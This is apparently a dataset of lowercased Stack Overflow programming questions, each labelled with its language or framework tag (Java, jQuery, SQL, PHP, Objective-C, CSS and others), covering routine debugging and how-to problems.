getting an  arrayindexoutofboundsexception  when trying to automatically increment data  i m having a <code>arrayindexoutofboundsexception: 0</code> error because <code>i</code> is equal to <code>0</code> and not automatically incrementing. how can i fix this code so it can work as expected     i want it to automatically increment each line of data read in the file read with arrays. no matter where i put the <code>i++;</code> i get this issue. if i use another variable: same issue.   <pre><code>import java.io.*; import java.util.*;  public class idolresults {     public static void main(string[] args) throws filenotfoundexception     {          //construct scanner         //scanner in = new scanner(system.in);         scanner in = new scanner(new file( elevotes1.txt ));         scanner in2 = new scanner(new file( elevotes2.txt ));          string[][] array;         int[][] array2;         string[] namearray;         int[] votearray;         int i = 0;          while (in.hasnextline())         {                 string name = in.next();              int vote = in.nextint();               system.out.println(name);              system.out.println(vote);               //stuffhere: print  save name and vote  etc..              //create an array and save info there              array = new string[i][];              array2 = new int[i][];               array[i][0] = name;              array2[i][1] = vote;               //individually store name and votes              namearray = new string[10];              votearray = new int[10];               namearray[i] = name;              votearray[i] = vote;              i++;          }     }//end of main }//end of class </code></pre>   i eventually want to manipulate this stored data so i can make this: output expected:   <pre><code>results for 2099 idol name        votes received    % of total votes __________________________________________________       clarkson            80 000            14.4% seacrest            100 000           18.0% dunkleman           75 000            13.5% cowell              110 000           19.7% abdul               125 000           22.4% jackson             67 000            12.0%  total votes         557 000  the winner is abdul! </code></pre>,java
for loop not executing some codes <pre><code>for (int i = 0; i &lt; [menuarray count]; i++) {          [menuitem addobject:menuarray[i][@ description ]];         keywordarray = (nsmutablearray *)[menuitem[i] componentsseparatedbystring:@   ];  } </code></pre>   i am trying to break up the strings in the menuitem array  which has 370 objects. however  keywordarray is only taking the first item of menuitem. does anyone know how to fix it,objective-c
how to make your screen view slanted in your particular view in iphone application   how to make an particular view in your iphone game application slanted  i.e. the screen will be 480 x 320 pixels .can anyone provide me some code for it or any useful links for the same     i also wanted to ask question related to the use of camera. can we make use of camera into our own app i.e. inside the frame of my application .please provide some help regarding the same.    i want the code for it and how to design the page in the 480 x 320 pixels view,iphone
how do reference a div to a separate html without using  src     you obviously can t make write it as:   <pre><code>&lt;div id= left  src= left.html &gt;&lt;/div&gt; </code></pre>   so how would you do it,html
using browser back button to navigate between the website pages  i have search this but didn t get useful information. in my website i have a order processing scenario. currently i am using a  back  button on page to go to the previous order page. i want to go back through the browser back button. i want the code which i added in page back button can run when i use the browser back button. how i achieve this..,asp.net
how to use iphone os 3.2 functionality in an iphone os 3.0 app   problem: my app must run on iphone os 3.0.    however  there are some features of iphone os 3.2 which i really want to use. just as a little add-on for free. but i don t want to cut off my user base by doing this.    <em>imagine you re an iphone os 3.0 thing  and someone gives you a book to read. it has iphone os 3.2 instructions. you never learned those. so what do you do  crash  they would have to be hidden  so you re not bothered.</em>    <strong>someone wrote recently on so:</strong>    <blockquote>    keep in mind that you have to check   the version at places in the source   code where you like to use the new   features and provide alternatives for   older os versions  </blockquote>   so how could i do that  wouldn t xcode throw warnings when it finds stuff that isn t linkable from anything anywhere  would i just check for the os version and dynamically link - somehow - to whatever stuff i think is cool,iphone
c# - unable to display results as string values  i am working on a program in c# . there are 3 columns. let s call them a b and c.  when any row in column b is unchecked but column a is checked  it should pop out a display warning message indicating which location id (rows) that has column a checked but column b unchecked.     i managed to create the display message to do this but instead of getting the location in the message box  it shows the values in : <code>  datagridview column [0] row[2]  </code>.    i figured i have to convert my list of <code>locationid</code> variable to convert to string but the results are the same.    here is the code where listlocationid is declared:   <pre><code> list&lt;string&gt; listlocationid = new list&lt;string&gt;();                 list&lt;int&gt; listlocationidindex = new list&lt;int&gt;();       for (int i = 0; i &lt; this.datagridlocationdetails.rows.count; i++)                 {          if (((convert.toboolean(datagridlocationdetails.rows[i].cells[ colviewpermission ].value) == true)                          &amp;&amp; (convert.toboolean(datagridlocationdetails.rows[i].cells[ colissuepermission ].value) == false)                      ))                     {                             listlocationid.add(datagridlocationdetails.rows[i].cells[ collocationid ].tostring());                 listlocationidindex.add(i);       }                           }                  bool isempty = true;                 if (listlocationid.count &gt; 0)                     isempty = false;          if(!isempty)          {             string message = string.format( the following location id has view permission but not issue permission:{0}  do you wish to continue    displaystring(listlocationid));         dialogresult dialogresult = messagebox.show(message   warning   messageboxbuttons.yesno);            if (dialogresult == dialogresult.yes)                                 {                                     for (int i = 0; i &lt; listlocationidindex.count; i++)                         {          }          }                                 else if (dialogresult == dialogresult.no)                                 {                                     return;                                 }         }  </code></pre>   here is part of the code to display the string:   <pre><code> private string displaystring(list&lt;string&gt; listlocationid)         {             string strsentence = string.empty;             for (int i = 0; i &lt; listlocationid.count; i++)             {                 strsentence = strsentence + (listlocationid[i].tostring());              }              return strsentence;         } </code></pre>   note: listlocationid[i] is supposed to display the location name in message box. instead it displayed the index column names.    here is snapshot of the selection for checkbox: [![enter image description here][1]][1]    here is snapshot of the output i am getting: [![enter image description here][2]][2]    appreciate any kind of help.,c#
find where python is installed (if it isn t default dir)  python is on my machine  i just don t know where  if i type python in terminal it will open python 2.6.4  this isn t in it s default directory  there surely is a way of finding it s install location from here,python
select all rows between two rows of a table  i used the following code to select all elements(table rows) between element1(selected table row 1) and element2(selected table row 2)   but it gives all the rows of the table and not the only rows between the following two rows.   <pre><code> $( img[alt= expand ] ).bind( click   function () {       var elementuntil1 = $(this).parent().parent().parent();       var elementuntil2 = elementuntil1.nextall( tr.subclassrow:first )       var betweenelement = $(elementuntil1[0]).nextuntil(elementuntil[0]).andself();  });      &lt;table&gt;     &lt;tbody&gt;         &lt;tr class= subclassrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= expand  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= subclassrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= expand  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= subclassrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= expand  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= vehicledetailrow &gt;             &lt;td style= padding-left: 10px; &gt;                 &lt;div class= clickable &gt;                     &lt;img alt= hidden  /&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td&gt;15-sep-2001&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>,jquery
how do i dynamically update sql column in one table based on value in another table  there are 2 tables     <pre><code>reviews table contains: overall(innodb): (value can be 1.0 1.5 2.0 2.5 .... 5.0)  stats(myisam): (contains columns r1.0 r1.5 ....r5.0) </code></pre>   so when overall value is <code>5.0 i</code> want to only increment <code>r5.0</code> by 1 and when overall value is <code>1.5</code>  i want to increment only 1.5 by 1.    i am using <code>mysqli</code>  how do i achieve this with trigger in <code>phpmyadmin</code>   any help would be great.,mysql
footer is fixed on viewpager in android  i have footer which i am using with a viewpager. when i swipe left or right the footer also swipe left or right. i want footer to be fixed on each page on viewpager. any idea to make footer stay fixed even when i swipe pages.,android
what slows down java if cpu usage low  hdd usage low  memory usage low   so basicly the question is as above. i have written a program  that reads csv files and makes some calculations on the fly. i posted logic of the code below  i see no bottleneck through resorse monitor. it must be bottleneck somewhere i cannot monitor through monitor resources.    so where is a bottleneck i ask  if its not cpu neither hdd neither ram      maybe its ram to cpu link that is weak link  because files quite small around 30 mb each  so its being loaded to ram in a second. cpu usage around 30% so if file already in the ram and usage low than maybe ram - cpu link is slowing down performance  ram used by java only 300mb  any suggestions     i know its more hardware question than programming question  but nevertheless its java using hardware so maybe someone can explain to me where the weak link.     my specs: core i3-540  hdd 7200rm seagate  ram ddr3 8gb   <pre><code>for (int z = 0; z &lt; f.size(); z++){  bufferedreader br2 = new bufferedreader(new filereader(file)); string line2 = br2.readline(); while((line2 = br2.readline())!= null){   if(){ do some calculation } if(){ do some calculation } if(){ do some calculation } } system.out.println(results); </code></pre>,java
code crashes when int arr = 1 && arr; but not int arr = 0 && arr;  i wanted to know why the following code crashes.   <pre><code>int main( )  {       int arr = 1 &amp;&amp; arr;     return 0;  } </code></pre>   but not with the below code   <pre><code>int main( )  {       int arr = 0 &amp;&amp; arr;     return 0;  } </code></pre>   thanks in advance,c
jquery ajax returning true but not display proper message   i have the following code   <pre><code>$(document).ready(function(){ // class exists if($( .delete ).length) {         // add click handler     $( .delete ).click(function(){         // ask for confirmation         var result = confirm( are you sure you want to delete this  );         var vid     = $(this).attr( id );          var row = $(this).parents( tr );           // do ajax request         if(result) {             $.ajax({                 type: post                   url: delete_joke.php                   data:{id:vid garbage: fg9g543hfh }                  datatype:  json                   success:function(response){                      // hide table row on success                     if(response ==  true ) {                         row.fadeout();                        $( #errors ).show();                         $( #errors ).html(  &lt;div class= message green &gt; successfully deleted!&lt;img src= http://puppetweb.ca/play/views/admin/gfx/icon-close.gif  alt= close this item  /&gt; &lt;/div&gt;  ).show();                      }else{                        $( #errors ).show();                         $( #errors ).html(  &lt;div class= message red &gt; error deleting. &lt;img src= http://puppetweb.ca/play/views/admin/gfx/icon-close.gif  alt= close this item  /&gt; &lt;/div&gt;  ).show();                      }                 }             });         }     return false;     }); } }); </code></pre>   and it works up until the part where i want to show the success  i have the php script print  true  on success and  false  on error  and if i do alert(response) it shows the word true. but it is displaying the error deleting on success and error deleting on error     any help,jquery
how to remove from json based on attribute   i have got a json as follows    <pre><code>[{          name :  mike            incentives :  23.45      }      {          name :  larsen            incentives :  34.78            newlyadded : true     }      {          name :  steve            incentives :  26.78      } ] </code></pre>   i need to remove all the json objects which contains the attribute as <strong>newlyadded</strong>     i tried it this way    <pre><code>myjson = myjson.filter((obj) =&gt; myjson.indexof(obj.newlyadded) === true); </code></pre>   <a href= https://jsfiddle.net/o2gxgz9r/54476/  rel= nofollow noreferrer >https://jsfiddle.net/o2gxgz9r/54476/</a>    could you please tell me how to make this work,jquery
increase the background image size as per content  look at the image below     <img src= https://i.stack.imgur.com/x1i5j.jpg  alt= pagination >    i m developing the pagination. as per image above the pagination contents  the page number should be surrounded by the the fancy border  such border is not possible through css <code>border</code>property. i have to use image for this  but the problem is if i use a fixed size background image then as when number of pages increases they will be displayed outside that background image.    how do  i go so that background image should also increase with the number of pages.    i hope this make sense.,css
separating body  i have hundreds of divs  each of which have their own style properties in it. just a few minutes ago  i discovered that i have to change a lot of things just to change some background of the page. i want the background of the body  starting from 0px to 200px  to have a black background  the background of the body from 200px to 500px to have a gray background and from 500px to 700px to have a black background again. finally  700px to ...px should have a white background. to be precise    <pre><code>body { background-color:#adadad; } </code></pre>   makes all of the page  including the bottom of the page (which i wanted to be white) gray. is there anyway to separate the body px to px,css
string or number value in javascript s prompt function  let  say i enter 1 into the prompt window   <pre><code>var userinput = prompt( please enter a number     );     if(userinput ==  1 )      {          alert( number 1 );      } </code></pre>   then it did alert  which means that the value stored in the prompt is a string  1   but even if i remove the double quotes:   <pre><code>if(userinput == 1) {     alert( number 1 ); } </code></pre>   it still alert   which means that the value stored in the prompt is a number 1  so what the value it is  a string or a number or both,javascript
sql query to count duplicates  please assist me to get a query to count duplicates and a query to delete the duplicates.,sql
writing to module-wide variable  lets say i have these 3 (tiny) python files -     <strong>a.py</strong>   <pre><code>myvar =  a  </code></pre>   <strong>b.py</strong>   <pre><code>import a import c  myvar =  b  c.pr() </code></pre>   <strong>c.py</strong>   <pre><code>from a import myvar  def pr():     print myvar </code></pre>   now if i execute <code>b.py</code> i get output   <pre><code>a </code></pre>   but i really want output to be as    <pre><code>b </code></pre>   so please tell me how can i restructure/modify the programs so that the <em>module-wide</em> <code>myvar</code> can be assigned a different value.,python
nsstring value not same across method calls   i have an objective-c method that formats a <code>double</code> to a currency <code>nsstring</code>:   <pre><code>- (nsstring*) formatcurrencyvalue:(double)value {     nsnumberformatter *numberformatter = [[[nsnumberformatter alloc] init] autorelease];     [numberformatter setformatterbehavior:nsnumberformatterbehaviordefault];     [numberformatter setcurrencysymbol:@ $ ];     [numberformatter setnumberstyle:nsnumberformattercurrencystyle];     nsnumber *c = [nsnumber numberwithfloat:value];      nsstring* stringvalue = [numberformatter stringfromnumber:c];      nslog(@ currencyformatter=%@  stringvalue);      return stringvalue; } </code></pre>   the <code>nslog</code> statement correctly prints the formatted double.  however  when i call this method and assign it another <code>nsstring</code> object  its value is empty.    for example:   <pre><code>nsstring* key = [self formatcurrencyvalue:menuitem.price];  nslog(@ key value=   key); </code></pre>   the output from the <code>nslog</code> statement there is:   <blockquote>    key value=  </blockquote>   what s going on,objective-c
pivot data in mysql <pre><code>rcdid  employeeid  logdate  logtime  terminalid  inout  read  3079184   a00075    2009/10/28    07:17:10      vc01     in            1  3079185   a00075    2009/10/28    17:28:51      vc01     out           1  3079186   a00038    2009/10/28    07:29:17      vc01     in            1  3079187   a00038    2009/10/28    17:30:05      vc01     out           1  3079188   a00085    2009/10/28    07:37:34      vc01     in            1  3079189   a00085    2009/10/28    17:43:14      vc01     in            1  </code></pre>   hi  above is my source table (mysql) i want to cross tab the data as follows.   <pre><code>employeeid  logdate  in_location  in_time  out_location  out_time  a00001    2009/10/28    vc01    08:37:55               a00001    2009/10/29    vc01    08:09:57      vc01                17:09:32     a00001    2009/10/30    vc01     09:48:41      vc01                20:40:37     a00001    2009/11/03    vc01    08:20:34      vc01                18:03:34     a00001    2009/11/04    vc01     08:26:49      vc01                19:21:46     a00001    2009/11/05    vc01    08:16:00      vc01                19:26:01    </code></pre>   can somebody help me please. i am really appreciate your help,mysql
how to place 2 input boxes on 1 line  could i ask how i could place these input boxes and the sumbit button on the same line please    <pre><code>&lt;td id= header-right &gt;    &lt;table&gt;       &lt;tr&gt;          &lt;td class =  login-bar &gt;&lt;div style =  width: 200px; &gt;             &lt;form action =  login.php  method =  post &gt;                username: &lt;input type =  text  name  username  size =  10 &gt;                 password: &lt;input type =  text  name  password  size =  10 &gt;                 &lt;input type =  submit &gt;             &lt;/form&gt;&lt;/div&gt;          &lt;/td&gt;       &lt;/tr&gt;    &lt;/table&gt; &lt;/td&gt; </code></pre>   thats the source code i have... it shows above my navbar to the left  however i expected this to show on that same line  but it never it placed it as all under each other.    thanks.,html
adding object to nsmutablearray as an object s associative reference  i have the following:   <pre><code>static char associated_obj_key; id anobj;  nsmutablearray *a = [[nsmutablearray alloc] init]; objc_setassociatedobject(anobj  &amp;associated_obj_key  a  objc_association_retain); [a release]; </code></pre>   and i d like to know: how to add objects to the <code>nsmutablearray</code> inside an associative reference for the <code>anobj</code> object  is it such a thing even possible     can i even do something like <code>[objc_getassociatedobject(anobj  &amp;associated_obj_key) addobject:something];</code>,objective-c
angularjs http.get get http with provided username and password  the site i am connecting to requires username and password. how i can implement this    <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js /&gt;  &lt;div ng-app= myapp  ng-controller= customersctrl &gt;&lt;/div&gt;  &lt;script&gt;     var app= angular.module( myapp  []);     app.controller( customersctrl  function($scope $http){         $http.get( http://xxx ).success(function (response) {             $scope.names = response.records;         });     }); &lt;/script&gt; </code></pre>,angularjs
creating a two dimensional array in objective-c  whats the easiest way to declare a two dimensional array in objective-c   i am reading an matrix of numbers from a text file from a website and want to take the data and place it into a 3x3 matrix.    once i read the url into a string  i create an nsarray and use the componentsseparatedbystring method to strip of the carriage return line feed and create each individual row. i then get the count of the number of lines in the new array to get the individual values at each row. this will give mw an array with a string of characters  not a row of three individual values. i just need to be able to take these values and create a two dimensional array.,objective-c
sql group by id  if i have a result set like    <pre><code>id1     id2 43918   804 43917   804 44047   805 44046   805 44045   805 44044   805 44048   805 45172   806 44298   807 44296   808 44297   808 44294   808 44295   808 44331   809 44330   809 44334   809 44333   809 44332   809 44323   810 </code></pre>   how can i limit it to a result set like   <pre><code>id1     id2 43918   804 44047   805 45172   806 44298   807 44296   808 44331   809 44323   810 </code></pre>   basically one id1 for each unique id2. columns are from the same table.   <pre><code>select id1 id2 from table where id2 in (804  805  806  807  808  809  810); </code></pre>,sql
how to change my javascript from inline to and external file   i have this piece of code below it functions exactly how i want it too  i just wanna know how to then move in into another .js file. sorry i m new with this.    so what i m pretty much asking is how to call this code in an html document <a href= http://jsfiddle.net/bgwjv/  rel= nofollow >http://jsfiddle.net/bgwjv/</a>    html:   <pre><code> &lt;select id= selectday &gt;   &lt;option&gt;day&lt;/option&gt;   &lt;script&gt;    var select = document.getelementbyid( selectday );    var options = new array();    var temp = 1;    for(var i = 0; i &lt; 31; i++) {      options.push(temp);      temp++;    }    for(var i = 0; i &lt; options.length; i++) {      var opt = options[i];      var el = document.createelement( option );      el.textcontent = opt;      el.value = opt;      select.appendchild(el);    }  &lt;/script&gt; &lt;/select&gt; </code></pre>,javascript
javascript code not causing image to reappear when scrolling back up  i have an image that i want to disappear if the user scrolls further than <code>1000px</code> down the window. i want that same image to reappear if the user turns around and scrolls back up. i have written the following javascript. this code currently makes the image disappear  but it does not have the image display again if you scroll back up. that is what i want  but this code only changes the <code>display</code> to <code> none </code>. can someone help  thanks!   <pre><code>function parallex () {     var ypos = window.pageyoffset;      var image = document.getelementbyid( section_1 );      image.style.top = ypos * -.2 +  px ;       if (ypos &gt; 1000){         image = document.getelementbyid( section_1 );          image.style.display =  none ;      }     else {         image.style.display =  visible ;     } }  window.addeventlistener( scroll   parallex); </code></pre>,javascript
compare a table to itself  i am trying to compare the same table to itself to compare one employees locations to another.  i want to be able to select if one employee is only at a certain location from another employee.    the table looks like this   <pre><code>staffno  locono 1          1 1          2 1          3 3          2 3          3 3          4 4          1 4          2 5          2 5          3 6          1 6          2 </code></pre>   say compare staff 1 and 4    results would be    <pre><code>staffno  locono 1          3 </code></pre>   i have tried an inner join and an except but it seems like it does not work.,sql
"css counter and animation delay  i wonder if there is a simple css solution to make an animation delay depending on the count of elements. i ve tried something like this.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>/* fade in from left */
 
 @keyframes myanimation {
   0% {
     opacity: 0;
     transform: translatex(-20px)
   }
   100% {
     opacity: 1;
     transform: translatex(0);
   }
 }
 
 ul {
   counter-reset: items;
 }
 
 li {
   counter-increment: items;
   animation: myanimation;
   animation-delay: counter(items) * .2s;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul&gt;
   &lt;li&gt;1&lt;/li&gt;
   &lt;li&gt;2&lt;/li&gt;
   &lt;li&gt;3&lt;/li&gt;
   &lt;li&gt;4&lt;/li&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>
     does anyone have a solution which does not include javascript or multiple css classes",css
can static methods that return a value throw an exception   i have a static method that returns a string  but in the event that the string that is passed in does not match one of several words  i want to throw an exception. the code below is just a sample of what i am trying to do  but i keep getting  non static variable this cannot be referenced from a static context  message on the line where i throw the exception. basically  the return value from getmsg has to be valid  or the program cannot proceed  so i need a way to catch this.   <pre><code>public static string getmsg(string input) throws unknowninputexception{       if (input.equals( a )){            return  key for a ;       }       throw new unknowninputexception( some message );       return  unknowninput ; </code></pre>,java
what is the appropriate use of h tags  this might sound like a stupid question. but when is it best to use h tags to style content. look at this code is this appropriate use or should i just use a list to style it.    <pre><code>&lt;div class= col-xm-12 col-sm-6 col-md-4 &gt;             &lt;h4&gt;get in touch&lt;/h4&gt;             &lt;h5&gt;stair world ltd&lt;/h5&gt;             &lt;h5&gt;unit k  h &amp; n&lt;/h5&gt;             &lt;h5&gt;the address  hope lane &lt;/h5&gt;             &lt;h5&gt;halifax  west yorkshire  hx6 30p&lt;/h5&gt;             &lt;h5&gt;company registration number: 12345767&lt;/h5&gt;             &lt;h5&gt;vat registration number: 899 4178 56&lt;/h5&gt;         &lt;/div&gt; </code></pre>,html
the .addclass() doesn t seem to work  on my first project ever  i m trying to combine <strong>.hover</strong> with <strong>.addclass()</strong> to highlight the div under the mouse pointer.    it should be fairly simple  but i can t get it to work  here s what i wrote so far:    <strong>jquery:</strong>   <pre><code>$(document).ready(function() {     $( #newitem ).hover(function() {                 $( #newitem ).addclass( active );     }); }); </code></pre>   <strong>css</strong>   <pre><code>div {     border-radius: 5px;     transition: background-color 0.5s ease; }  #newitem {     border: 1px solid #000000;     background-color: #f0f8ff;     width: 100px;     height: 50px;     margin-left: auto;     margin-right: auto;     margin-top: 100px;     z-index: 5;     text-align: center; }  .active {     background-color:#556677; } </code></pre>   <strong>html</strong>   <pre><code>&lt;body&gt;     &lt;div id= background &gt;          &lt;div id= newitem &gt;                          &lt;p&gt; add item &lt;/p&gt;          &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   trying to find out what i got wrong i switched  .addclass( active )  with  .hide()  and it did make the div disapear.,jquery
scrolltorowatindexpath from a different thread  i am trying to use scrolltorowatindexpath on a tableview. i m using the method below.    everything works fine when i m calling this method by clicking a uibarbuttonitem  means - the tableview scrolls just fine. but  when i m calling this method from a different thread it doesn t scroll.     ideas     <pre><code>-(void)handlediffview {     nsindexpath * ndxpath;      if ( !islooking ) {         ndxpath= [nsindexpath indexpathforrow:1 insection:0];     }     else {         ndxpath= [nsindexpath indexpathforrow:0 insection:0];     }       [self.tableview scrolltorowatindexpath:ndxpath atscrollposition:uitableviewscrollpositiontop  animated:yes];  } </code></pre>,iphone
next() selects not the correct element  i have a html list  which looks like this:   <pre><code>&lt;ul class= search_list &gt;   &lt;li class= header &gt;header1&lt;/li&gt;   &lt;li class= item &gt;text1&lt;li&gt;   &lt;li class= item current &gt;text2&lt;li&gt;   &lt;li class= header &gt;header2&lt;/li&gt;`   &lt;li class= item &gt;text3&lt;li&gt; &lt;/ul&gt; </code></pre>   i created a jquery script which scrolls through the list of elements using the arrow keys. this works fine between the items <code>text1</code> and <code>text2</code>  but i want that even if <code>text2</code> is selected (marked with class current) and i press the arrow-down key that <code>text3</code> is selected  but this wouldn t work. but i don t understand it  because i use the following jquery script and i explicitly ask for the class item... how can i solve this  i assume that the <code>class= header </code> is the problem...    <a href= http://jsfiddle.net/sfdjs/7/  rel= nofollow >http://jsfiddle.net/sfdjs/7/</a>    i just figured out  that it works like this. but is this fine coding  :)    <code>$( .search_list li.current ).next().next( .search_list_item ).addclass( current );</code>,jquery
get specific text from webpage  i have this page <a href= http://inviatapenet.gethost.ro/sop/test1.php  rel= nofollow >test1</a> on this other page <a href= http://inviatapenet.gethost.ro/sop/test.php  rel= nofollow >test</a>    i have this php code running to get some code from test1.   <pre><code>&lt; php libxml_use_internal_errors(true); $doc = new domdocument(); $doc-&gt;loadhtmlfile( http://inviatapenet.gethost.ro/sop/test1.php );  $xpath = new domxpath($doc);  $elements = $xpath-&gt;query( //*[@type= button ]/@onclick );  if (!is_null($elements)) {     foreach ($elements as $element) {         $nodes = $element-&gt;childnodes;         foreach ($nodes as $node) {             echo $node-&gt;nodevalue.  \n ;         }     } }  &gt; </code></pre>   the result is this   <pre><code>onplay( sop://broker.sopcast.com:3912/120704 cod      eu - nr.1 in tv !  ) onplay( sop://broker.sopcast.com:3912/140601 cod      eu - nr.1 in tv !  )      onplay( sop://broker.sopcast.com:3912/124589 cod      eu - nr.1 tv )  onplay( sop://broker.sopcast.com:3912/589994 cod      eu - tv  )  onplay( sop://broker.sopcast.com:3912/ cod      eu - tv  ) </code></pre>   but i need only this data from all of that: `sop://broker.sopcast.com:3912/140601     all of them.    how to get rid of extra text or how to get gest the(sop://broker.sopcast.com:3912/140601 sop://broker.sopcast.com:3912/120704),php
call an objective-c function non-virtually  is it possible to force objective-c to call a specific instance of a virtual method  rather than going through the standard virtual message dispatch  i know this is generally a bad idea  but i d like to know how to do it using the objective-c runtime.    for example  given class a and b that implement -(void) foo  where b is a subclass of a  i d like to call the foo method on a with the b instance (even though b would normally handle this message).    i know that i can make this happen by moving the guts of a s foo method to a new method and delegating to it  but i d like to figure out some way to do this through the objective-c runtime.    note: for the purposes of this question  assume that i can t change the source of a or b and i ve carefully weighed the risks of breaking encapsulation.,objective-c
using an angular expression with an ng-if directive  is it possible to evaluate an angular expression in a ng-if     for instance:   <pre><code>&lt;div ng-if= itemdata.contenttypeid = {{$root.res( resources   article_type_id )}} &gt; &lt;!-- some content --&gt; &lt;div&gt; </code></pre>   also tried surrounding the expression in single quotes:   <pre><code>&lt;div ng-if= itemdata.contenttypeid =  {{$root.res( resources   article_type_id )}}  &gt; &lt;!-- some content --&gt; &lt;div&gt; </code></pre>   and neither worked as expected.    is this an issue with syntax or is this not possible   if this is a syntax issue  how should the statement above be written,angularjs
php get rid of nasty \n squares  hardest problem to explain:   <pre><code>$lol =  hello ; $that =  * music * books * games * asos * cry ;  $lol = str_replace( *   $line  $that);  $name = str_replace(      -   $line); $myfile =  output/$name.csv ; $fh = fopen($myfile   w ) or die( can t open file );  $stringdata = $lol; fwrite($fh  $stringdata); fclose($fh); </code></pre>   i m running through a big list of $lol variables and generating a text file for each of them  you can see the template for the text files in $that where * will become whichever $lol is in the loop.    so if $lol =  softlayer  i would get a csv with   <pre><code>softlayer music softlayer books softlayer games etc.. </code></pre>   problem is when i open them in notepad they aren t the softlayer music  etc are all on the same line seperated by those horrible squares which mean  new line . and because of this the csv s i m generating are supposedly invalid according to the software i m trying to use them with.    that was an absolutely horrible problem to explain so excuse me :)    any help would be massively appreciated!,php
